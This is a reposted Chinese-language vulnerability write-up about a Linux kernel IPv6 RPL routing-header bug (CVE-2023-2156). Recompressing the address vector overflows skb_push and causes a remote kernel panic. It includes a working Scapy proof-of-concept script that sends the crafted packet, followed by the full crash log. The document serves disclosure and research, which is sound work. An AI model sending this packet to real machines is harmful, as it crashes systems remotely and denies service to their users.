Linux IPv6 "死亡之路" 0day
2023-5-17 21:32:42 Author: Ots安全(查看原文) 阅读量:33 收藏

介绍

有时我想探索随机的代码区域。这是查找新错误模式的好方法。去年年初,我就是这样做的,在 Linux 内核源代码周围搜索,发现了一些巧妙的东西。

Linux 内核在称为sk_buff(套接字缓冲区)的结构中处理网络数据。该结构包含大量信息,但重要成员如下:

  • head - 指向包含数据包数据的内存块的指针

  • data - 指向要解析的数据开头的指针(数据或已解析的数据之前可能有填充)

  • Tail - 到区域中数据包数据末尾的偏移量

  • End - 到分配的内存块末尾的偏移量

  • Len - 数据指针和尾部偏移量之间的距离

它看起来有点像这样:

SKB 结构(虽然成员被重新排序以使其更清晰)

为了与此数据结构交互,使用了许多函数,包括:

  • skb_push(通过从数据指针中减去将数据添加到缓冲区的开头)

  • skb_pull(通过添加到数据指针从缓冲区的开头删除数据)

skb_push有一些代码可以防止它超出分配缓冲区的范围:

void *skb_push(struct sk_buff *skb, unsigned int len) {  skb->data -= len;  skb->len  += len;  if (unlikely(skb->data < skb->head))    skb_under_panic(skb, len, __builtin_return_address(0));  return skb->data;}

我们添加到缓冲区开头的空间量大于我们分配的空间量,那么它将导致内核崩溃而不是继续执行。

这意味着通常会导致越界行为(好东西)的任何漏洞现在都减少为拒绝服务错误。

虽然拒绝服务错误可能看起来很无聊,但通常与sk_buffs相关的“远程”方面使它们仍然非常有趣。远程内核恐慌仍然很有趣!

我在用于处理路由标头的 IPv6 代码中找到了此问题类型的一个实例。更具体地说,低功耗和有损网络的路由协议(RPL 源路由 - RFC 6550到6554)。

路由和 RPL

网络协议非常复杂。有没有看过TCP的RFC?绝对恶心。

幸运的是,对于像我这样糟糕的人来说,复杂性为错误铺平了道路。

IPv6 具有可选扩展标头的概念,其中包含有关数据包、数据包配置方式以及需要转到的位置的信息。一类标头是路由标头,它允许数据包列出数据包应通过的一系列 IPv6 设备。路由标头的基本结构如下所示:

RFC 8200 中的路由标头布局

如上所示,有一个路由类型成员。这会影响特定于类型的数据的格式。
可以使用多种路由类型:

  • 0 - 已弃用的类型(已弃用,因为它允许拒绝服务)

  • 1 - 用于 Nimrod 路由的另一种已弃用的类型 (RFC 1992)

  • 2 - 用于移动 IPv6

  • 3 - 用于 RPL 源路由

  • 4 - 用于分段路由

由于漏洞本身存在于RPL的实现中,因此类型3在这里很重要。
完整的 RPL 标头结构如下:

RFC 6554 中的 RPL 标头结构

RPL 源路由还允许使用 CmprI 和 CmprE 参数压缩地址 (RFC 6554)。这些值表示目标地址的八位字节数与向量中的所有地址相同(因此可以省略向量中的每个地址)。

这样做的原因是,RPL很可能会用于本地网络,其中所有地址中最重要的八位字节将是相同的(这将非常浪费传输)。
CmprI 值表示除向量中的最后一个地址之外的所有地址要省略的八位字节数,CmprE 值表示向量中最后一个地址要省略的八位字节数。

当数据包到达下一个节点时,出于以下几个原因,它需要解压缩地址:

  • 它需要验证地址列表中没有循环

  • 它需要将IPv6数据包的目标地址更新到列表中的下一个地址,然后根据这个新的目标地址重新压缩向量

因此,接收 RPL 数据包的过程是:

  1. 通过将矢量中地址中的 CmprI/CmprE 最低八位字节附加到目标地址的最有效八位字节来解压缩向量中的所有地址

  2. 检查地址向量中的循环

  3. 将数据包的目标地址与地址 [n - segments_left - 1] 交换(其中 n 是向量中的地址数,如上所示)

  4. 针对新的目标地址重新压缩向量中的地址

  5. 转发数据包

THE BUG

由于这个标准的工作方式,在segments_left为 1 的情况下可能会导致放大攻击:
如果我的 CmprI 值为 15(因此向量中的每个地址将只包含一个字节),但 CmprE 值为 0(因此向量中的最终地址包含完整的 16 个字节), 然后,当向量中的最终地址成为目标地址时(就像segments_left == 1时发生的那样),可能无法重新压缩所有地址。

这意味着长度为 48 字节的地址向量(32x1 字节地址和 1x16 字节地址)地址向量在转发到下一台计算机之前重新压缩为 528。

有趣的是,这种扩展是代码中潜在的错误所在。

在 Linux 内核中,执行 RPL 并调用解压缩/压缩例程的函数ipv6_rpl_srh_rcv。在解压缩地址向量时,为其分配了一个缓冲区:

buf = kcalloc(struct_size(hdr, segments.addr, n + 2), 2, GFP_ATOMIC);
/* ... */
ipv6_rpl_srh_decompress(ohdr, hdr, &ipv6_hdr(skb)->daddr, n);

然后将目标地址与下一个地址交换(原始目标地址就地存储在地址向量中):

swap(ipv6_hdr(skb)->daddr, ohdr->rpl_segaddr[i]);

在此之后,地址向量然后针对新的目标地址重新压缩:

ipv6_rpl_srh_compress(chdr, ohdr, &ipv6_hdr(skb)->daddr, n);

然后,通过将重新压缩的数据复制到 SKB 中,以及重置和重建标头,将 SKB 重新用于转发:

oldhdr = ipv6_hdr(skb);skb_pull(skb, ((hdr->hdrlen + 1) << 3));skb_postpull_rcsum(skb, oldhdr, sizeof(struct ipv6hdr) + ((hdr->hdrlen + 1) << 3));skb_push(skb, ((chdr->hdrlen + 1) << 3) + sizeof(struct ipv6hdr));skb_reset_network_header(skb);skb_mac_header_rebuild(skb);skb_set_transport_header(skb, sizeof(struct ipv6hdr));memmove(ipv6_hdr(skb), oldhdr, sizeof(struct ipv6hdr));memcpy(skb_transport_header(skb), chdr, (chdr->hdrlen + 1) << 3);

这里最大的问题是对skb_push的调用,它试图为地址向量的 skb 头部添加空间。
在前面提到的示例中,我们将 48 个字节更改为 528 个字节。如果 SKB 头部没有 528 字节可腾出,则会导致数据指针位于头部指针下方并导致内核崩溃。

概念验证

可以使用以下代码在启用了 RPL 的机器上触发此操作(sysctl -a | grep -i rpl_seg_enabled):

# We'll use Scapy to craft the packetfrom scapy.all import *import socket
# Use the IPv6 from your LAN interfaceDST_ADDR = sys.argv[1]SRC_ADDR = DST_ADDR
# We use sockets to send the packet since sending with scapy wasn't working (And I'm far too lazy to debug things)sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW)
# Craft the packet# Type = 3 makes this an RPL packet# Addresses contains 3 addresses, but because CmprI is 15, each octet of the first two addresses is treated as a compressed address (So technically there are 16 compressed addresses)# Segleft = 1 to trigger the amplification# lastentry = 0xf0 sets CmprI to 15 and CmprE to 0p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0)
# Send this evil packetsockfd.sendto(bytes(p), (DST_ADDR, 0))

这导致了一个可爱的小内核恐慌:

[   53.385136] skbuff: skb_under_panic: text:ffffffff81c89927 len:576 put:576 he[   53.385601] kernel BUG at net/core/skbuff.c:112![   53.386005] invalid opcode: 0000 [#1] SMP NOPTI[   53.386144] CPU: 0 PID: 727 Comm: python3 Not tainted 5.15.0-69-generic #76-U[   53.386260] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1[   53.386471] RIP: 0010:skb_panic+0x4f/0x51[   53.386715] Code: 48 70 57 8b b8 bc 00 00 00 57 8b b8 b8 00 00 00 57 48 c7 c7[   53.386955] RSP: 0018:ffffc90000003c40 EFLAGS: 00000246[   53.387049] RAX: 0000000000000084 RBX: ffff888101de0438 RCX: 0000000000000000[   53.387138] RDX: 0000000000000000 RSI: ffff88813bc20580 RDI: ffff88813bc20580[   53.387228] RBP: ffffc90000003c60 R08: 0000000000000003 R09: 61705f7265646e75[   53.387316] R10: 0000000075626b73 R11: 0000000075626b73 R12: ffff888103eb3800[   53.387407] R13: ffff888103eb3a18 R14: ffff888101e58e00 R15: ffff888101de0410[   53.387538] FS:  00007f9f71ba7000(0000) GS:ffff88813bc00000(0000) knlGS:00000[   53.387639] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033[   53.387719] CR2: 00007f9f6faa9030 CR3: 0000000101768000 CR4: 00000000000006f0[   53.387928] Call Trace:[   53.388258]  <IRQ>[   53.388373]  skb_push.cold+0x14/0x14[   53.388537]  ipv6_rpl_srh_rcv+0x2d7/0x9a0[   53.388612]  ipv6_rthdr_rcv+0x323/0x5c0[   53.388671]  ? update_load_avg+0x82/0x620[   53.388737]  ip6_protocol_deliver_rcu+0x47a/0x570[   53.388808]  ip6_input+0xb6/0xd0[   53.388860]  ? ip6_rcv_core+0x350/0x550[   53.388921]  ipv6_rcv+0x134/0x170[   53.388973]  ? task_tick_fair+0x382/0x5a0[   53.389032]  ? sched_clock_cpu+0x12/0xf0[   53.389094]  __netif_receive_skb_one_core+0x64/0xa0[   53.389168]  __netif_receive_skb+0x15/0x60[   53.389229]  process_backlog+0x9e/0x170[   53.389290]  __napi_poll+0x33/0x180[   53.389346]  net_rx_action+0x126/0x280[   53.389406]  ? clockevents_program_event+0xad/0x130[   53.389483]  __do_softirq+0xd9/0x2e7[   53.389546]  do_softirq+0x7d/0xb0[   53.389639]  </IRQ>[   53.389678]  <TASK>[   53.389713]  __local_bh_enable_ip+0x54/0x60[   53.389776]  ip6_finish_output2+0x1ef/0x590[   53.389845]  __ip6_finish_output+0xea/0x2b0[   53.389909]  ip6_finish_output+0x2e/0xc0[   53.389970]  ip6_output+0x75/0x130[   53.390024]  ? __ip6_finish_output+0x2b0/0x2b0[   53.390089]  rawv6_send_hdrinc+0x30b/0x580[   53.390155]  ? xfrm_lookup_route+0x24/0xc0[   53.390222]  rawv6_sendmsg+0x46e/0x990[   53.390279]  ? atime_needs_update+0x104/0x180[   53.390352]  ? kernel_init_free_pages.part.0+0x4a/0x70[   53.390424]  ? get_page_from_freelist+0x353/0x540[   53.390502]  inet_sendmsg+0x74/0x80[   53.390557]  ? rawv6_send_hdrinc+0x580/0x580[   53.390621]  ? inet_sendmsg+0x74/0x80[   53.390677]  sock_sendmsg+0x62/0x70[   53.390733]  __sys_sendto+0x113/0x190[   53.390805]  ? __schedule+0x435/0x590[   53.390865]  __x64_sys_sendto+0x24/0x30[   53.390924]  do_syscall_64+0x5c/0xc0[   53.390980]  ? schedule+0x69/0x110[   53.391034]  ? exit_to_user_mode_loop+0x7e/0x160[   53.391103]  ? exit_to_user_mode_prepare+0x37/0xb0[   53.391171]  ? irqentry_exit_to_user_mode+0x9/0x20[   53.391238]  ? irqentry_exit+0x1d/0x30[   53.391294]  ? sysvec_apic_timer_interrupt+0x4e/0x90[   53.391365]  entry_SYSCALL_64_after_hwframe+0x61/0xcb[   53.391482] RIP: 0033:0x7f9f71ccfbba[   53.391675] Code: d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 f3 0f 1e fa[   53.391887] RSP: 002b:00007ffc84db1028 EFLAGS: 00000246 ORIG_RAX: 00000000000[   53.391995] RAX: ffffffffffffffda RBX: 00007ffc84db10d8 RCX: 00007f9f71ccfbba[   53.392085] RDX: 0000000000000060 RSI: 00007f9f6fab1250 RDI: 0000000000000003[   53.392174] RBP: 0000000000000000 R08: 00007ffc84db1150 R09: 000000000000001c[   53.392263] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000[   53.392353] R13: ffffffffc4653600 R14: 00007ffc84db10d8 R15: 0000000000000001[   53.392463]  </TASK>[   53.392528] Modules linked in: scsi_dh_rdac scsi_dh_emc scsi_dh_alua drm btrf[   53.393435] ---[ end trace addf09f76fdcafaa ]---[   53.393520] RIP: 0010:skb_panic+0x4f/0x51[   53.393580] Code: 48 70 57 8b b8 bc 00 00 00 57 8b b8 b8 00 00 00 57 48 c7 c7[   53.393780] RSP: 0018:ffffc90000003c40 EFLAGS: 00000246[   53.393850] RAX: 0000000000000084 RBX: ffff888101de0438 RCX: 0000000000000000[   53.393935] RDX: 0000000000000000 RSI: ffff88813bc20580 RDI: ffff88813bc20580[   53.394020] RBP: ffffc90000003c60 R08: 0000000000000003 R09: 61705f7265646e75[   53.394105] R10: 0000000075626b73 R11: 0000000075626b73 R12: ffff888103eb3800[   53.394189] R13: ffff888103eb3a18 R14: ffff888101e58e00 R15: ffff888101de0410[   53.394276] FS:  00007f9f71ba7000(0000) GS:ffff88813bc00000(0000) knlGS:00000[   53.394372] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033[   53.394442] CR2: 00007f9f6faa9030 CR3: 0000000101768000 CR4: 00000000000006f0[   53.394598] Kernel panic - not syncing: Fatal exception in interrupt[   53.394957] Kernel Offset: disabled[   53.395086] ---[ end Kernel panic - not syncing: Fatal exception in interrupt

报告

我通过零日计划(ZDI-23-547)报告了此错误。它被分配了 CVE-2023-2156,但错误补丁并没有解决根本问题(ZDI 也证实了这一点),所以我们仍然期待在某个时候出现另一个补丁。但是,它现在已经作为 0day 发布。ZDI在过去一年中不懈地追逐修复的大量道具。

点它,分享点赞在看都在这里


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247497778&idx=1&sn=fc57ecbc1a62280e3c4e6bf30407e517&chksm=9badb179acda386f6f54b5ea4931a0efd69c715e72cfc46a822dfe52a3531da200d6e57b4b00#rd
如有侵权请联系:admin#unsafe.sh